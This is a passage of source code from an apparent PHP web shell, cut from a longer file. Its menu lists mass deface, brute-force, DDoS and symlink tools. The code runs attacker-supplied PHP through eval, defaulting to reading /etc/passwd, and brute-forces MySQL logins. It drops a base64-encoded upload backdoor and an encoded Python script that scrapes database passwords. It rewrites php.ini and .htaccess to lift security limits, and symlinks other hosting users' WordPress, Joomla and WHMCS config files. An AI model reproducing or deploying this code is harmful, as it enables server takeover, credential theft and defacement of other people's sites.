671<a href="?<?php echo "y=".$pwd; ?>&x=php">Eval</a>
672<a href="?<?php echo "y=".$pwd; ?>&x=ms">Mysql</a>
673<a href="?<?php echo "y=".$pwd; ?>&x=phpinfo">Php Info</a>
674<a href="?<?php echo "y=".$pwd; ?>&x=netsploit">Net Sploit</a>
675<a href="?<?php echo "y=".$pwd; ?>&x=upload">Upload</a>
676<a href="?<?php echo "y=".$pwd; ?>&x=mail">Mail</a>
677<a href="?<?php echo "y=".$pwd; ?>&x=chmod">Chmod</a>
678<a href="?<?php echo "y=".$pwd; ?>&x=sqli-scanner">SQLI Scan</a>
679<a href="?<?php echo "y=".$pwd; ?>&x=port-sc">Port Scan</a>
680<a href="?<?php echo "y=".$pwd; ?>&x=config-scan">Config Scan</a>
681<a href="?<?php echo "y=".$pwd; ?>&x=symlink">Symlink</a>
682<a href="?<?php echo "y=".$pwd; ?>&x=config">Config</a><br><br>
683<a href="?<?php echo "y=".$pwd; ?>&x=bypass">Bypass</a>
684<a href="?<?php echo "y=".$pwd; ?>&x=cgi">Cgi Shell</a>
685<a href="?<?php echo "y=".$pwd; ?>&x=cgi2012">CGI Telnet 2012</a>
686<a href="?<?php echo "y=".$pwd; ?>&x=domain">Domain</a>
687<a href="?<?php echo "y=".$pwd; ?>&x=tool">Tools</a>
688<a href="?<?php echo "y=".$pwd; ?>&x=mass">Mass Deface</a>
689<a href="?<?php echo "y=".$pwd; ?>&x=jodexer">Joomla IndChange</a>
690<a href="?<?php echo "y=".$pwd; ?>&x=vb">VB IndChange</a>
691<a href="?<?php echo "y=".$pwd; ?>&x=wp-reset">Wordpress Res Pass</a>
692<a href="?<?php echo "y=".$pwd; ?>&x=jm-reset">Joomla Res Pass</a>
693<a href="?<?php echo "y=".$pwd; ?>&x=zone">Zone-H</a><br><br>
694<a href="?<?php echo "y=".$pwd; ?>&x=whmcs">WHMCS Decoder</a>
695<a href="?<?php echo "y=".$pwd; ?>&x=wpbrute">Wordpress BruteForce</a>
696<a href="?<?php echo "y=".$pwd; ?>&x=jbrute">Joomla BruteForce</a>
697<a href="?<?php echo "y=".$pwd; ?>&x=brute">Cpanel BruteForce</a>
698<a href="?<?php echo "y=".$pwd; ?>&x=adfin">Admin Finder</a>
699<a href="?<?php echo "y=".$pwd; ?>&x=hash">Password Hash</a>
700<a href="?<?php echo "y=".$pwd; ?>&x=string">Script Encode</a>
701<a href="?<?php echo "y=".$pwd; ?>&x=dos">Ddos</a>
702<a href="?<?php echo "y=".$pwd; ?>&x=about">About</a>
703<a href="?<?php echo "y=".$pwd; ?>&x=logout">Log-Out</a>
704
705</div>
706<!-- menu end -->
707
708<?php if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
709<form action="?y=<?php echo $pwd; ?>&x=php" method="post">
710<table class="cmdbox">
711<tr><td>
712<textarea class="output" name="cmd" id="cmd">
713<?php
714if(isset($_POST['submitcmd'])) {
715 echo eval(magicboom($_POST['cmd']));
716}
717else echo "echo file_get_contents('/etc/passwd');";
718?>
719</textarea>
720<tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
721</table>
722</form>
723
724<?php }
725
726elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')){
727if(isset($_POST['mail_send'])){
728 $mail_to = $_POST['mail_to'];
729 $mail_from = $_POST['mail_from'];
730 $mail_subject = $_POST['mail_subject'];
731 $mail_content = magicboom($_POST['mail_content']);
732 if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){
733 $msg = "email sent to $mail_to";
734 }
735 else $msg = "send email failed";
736}
737?>
738<form action="?y=<?php echo $pwd; ?>&x=mail" method="post">
739<table class="cmdbox">
740<tr><td>
741<textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey there, please patch me ASAP ;-p</textarea>
742<tr><td> <input class="inputz" style="width:20%;" type="text" value="" name="mail_to" /> mail to</td></tr>
743<tr><td> <input class="inputz" style="width:20%;" type="text" value="" name="mail_from" /> from</td></tr>
744<tr><td> <input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" /> subject</td></tr>
745<tr><td> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>
746<tr><td> <?php echo $msg; ?></td></tr>
747</table>
748</form>
749
750<?php }
751
752
753elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){
754 @ob_start();
755 @eval("phpinfo();");
756 $buff = @ob_get_contents();
757 @ob_end_clean();
758 $awal = strpos($buff,"<body>")+6;
759 $akhir = strpos($buff,"</body>");
760 echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
761}
762elseif(isset($_GET['view']) && ($_GET['view'] != "")){
763 if(is_file($_GET['view'])){
764 if(!isset($file)) $file = magicboom($_GET['view']);
765 if(!$win && $posix){
766 $name=@posix_getpwuid(@fileowner($folder));
767 $group=@posix_getgrgid(@filegroup($folder));
768 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
769 }
770 else {
771 $owner = $user;
772 }
773 $filn = basename($file);
774 echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
775 <tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
776 <form action=\"?y=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
777 <input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
778 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
779 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
780 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
781 </form>
782 </td></tr>
783 <tr><td>Size</td><td>".ukuran($file)."</td></tr>
784 <tr><td>Permission</td><td>".get_perms($file)."</td></tr>
785 <tr><td>Owner</td><td>".$owner."</td></tr>
786 <tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
787 <tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
788 <tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
789 <tr><td>Actions</td><td><a href=\"?y=$pwd&edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$file\">delete</a> | <a href=\"?y=$pwd&dl=$file\">download</a> (<a href=\"?y=$pwd&dlgzip=$file\">gzip</a>)</td></tr>
790 <tr><td>View</td><td><a href=\"?y=".$pwd."&view=".$file."\">text</a> | <a href=\"?y=".$pwd."&view=".$file."&type=code\">code</a> | <a href=\"?y=".$pwd."&view=".$file."&type=image\">image</a></td></tr>
791 </table>
792 ";
793 if(isset($_GET['type']) && ($_GET['type']=='image')){
794 echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&img=".$filn."\"></div>";
795 }
796 elseif(isset($_GET['type']) && ($_GET['type']=='code')){
797 echo "<div class=\"viewfile\">";
798 $file = wordwrap(@file_get_contents($file),"240","\n");
799 @highlight_string($file);
800 echo "</div>";
801 }
802 else {
803 echo "<div class=\"viewfile\">";
804 echo nl2br(htmlentities((@file_get_contents($file))));
805 echo "</div>";
806 }
807 }
808 elseif(is_dir($_GET['view'])){
809 echo showdir($pwd,$prompt);
810 }
811
812}
813elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){
814
815 if(isset($_POST['save'])){
816 $file = $_POST['saveas'];
817 $content = magicboom($_POST['content']);
818 if($filez = @fopen($file,"w")){
819 $time = date("d-M-Y H:i",time());
820 if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
821 else $msg = "failed to save";
822 @fclose($filez);
823 }
824 else $msg = "permission denied";
825 }
826 if(!isset($file)) $file = $_GET['edit'];
827 if($filez = @fopen($file,"r")){
828 $content = "";
829 while(!feof($filez)){
830 $content .= htmlentities(str_replace("''","'",fgets($filez)));
831 }
832 @fclose($filez);
833 }
834
835?>
836<form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
837<table class="cmdbox">
838<tr><td colspan="2">
839<textarea class="output" name="content">
840<?php echo $content; ?>
841</textarea>
842<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
843 <?php echo $msg; ?></td></tr>
844</table>
845</form>
846<?php
847}
848elseif(isset($_GET['x']) && ($_GET['x'] == 'logout'))
849{
850?>
851<form action="?y=<?php echo $pwd; ?>&x=logout" method="post">
852
853<?php
854 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
855 echo 'bye!';
856}
857elseif(isset($_GET['x']) && ($_GET['x'] == 'brute'))
858 {
859 ?>
860 <form action="?y=<?php echo $pwd; ?>&x=brute" method="post">
861 <?php
862 //bruteforce
863?>
864<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
865<?php
866/*
867Recoded By xCrotZ
868*/
869@set_time_limit(0);
870@error_reporting(0);
871
872
873if($_POST['page']=='find')
874{
875if(isset($_POST['usernames']) && isset($_POST['passwords']))
876{
877 if($_POST['type'] == 'passwd'){
878 $e = explode("\n",$_POST['usernames']);
879 foreach($e as $value){
880 $k = explode(":",$value);
881 $username .= $k['0']." ";
882 }
883 }elseif($_POST['type'] == 'simple'){
884 $username = str_replace("\n",' ',$_POST['usernames']);
885 }
886 $a1 = explode(" ",$username);
887 $a2 = explode("\n",$_POST['passwords']);
888 $id2 = count($a2);
889 $ok = 0;
890 foreach($a1 as $user )
891 {
892 if($user !== '')
893 {
894 $user=trim($user);
895 for($i=0;$i<=$id2;$i++)
896 {
897 $pass = trim($a2[$i]);
898 if(@mysql_connect('localhost',$user,$pass))
899 {
900 echo "xCrotZ~ user is (<b><font color=green>$user</font></b>) Password is (<b><font color=green>$pass</font></b>)<br />";
901 $ok++;
902 }
903 }
904 }
905 }
906 echo "<hr><b>You Found <font color=green>$ok</font> Cpanel by xCrotZ</b>";
907 echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
908 exit;
909}
910}
911if($_POST['pass']=='password'){
912@error_reporting(0);
913$i = getenv('REMOTE_ADDR');
914$d = date('D, M jS, Y H:i',time());
915$h = $_SERVER['HTTP_HOST'];
916$dir=$_SERVER['PHP_SELF'];
917//mail("","Teamroot Bruteforce","IP : $i \n | Host : $h \n | Dir : $dir \n ");
918$back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
919$file = fopen(".php","w+");
920$write = fwrite ($file ,base64_decode($back));
921fclose($file);
922chmod(".php",0755);
923mkdir('config',0755);
924$cp =
925'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
926$file = fopen("cp.py","w+");
927$write = fwrite ($file ,base64_decode($cp));
928fclose($file);
929chmod("cp.py",0755);
930$url = $_POST['url'];
931echo"<center>
932<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
933system("python cp.py $url config");
934unlink ('cp.py');
935echo"</textarea>
936</center>";
937echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
938exit;
939}
940if($_POST['matikan']=='sekatan'){
941@error_reporting(0);
942$phpini =
943'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
944$file = fopen("php.ini","w+");
945$write = fwrite ($file ,base64_decode($phpini));
946fclose($file);
947$htaccess =
948'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
949$file = fopen(".htaccess","w+");
950$write = fwrite ($file ,base64_decode($htaccess));
951echo "<hr><center><b>DONE!";
952echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
953exit;
954}
955if($_POST['mendapatkan']=='passwd'){
956@set_magic_quotes_runtime(0);
957ob_start();
958error_reporting(0);
959@set_time_limit(0);
960@ini_set('max_execution_time',0);
961@ini_set('output_buffering',0);
962$fn = $_POST['foldername'];
963//all function here
964
965function syml($usern,$pdomain)
966 {
967 symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
968 symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
969 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
970 symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
971 symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
972 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
973 symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
974 symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
975 symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
976 symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
977 symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
978 symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
979 symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
980 symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
981 symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
982 symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
983 symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
984 symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
985 symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
986 symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
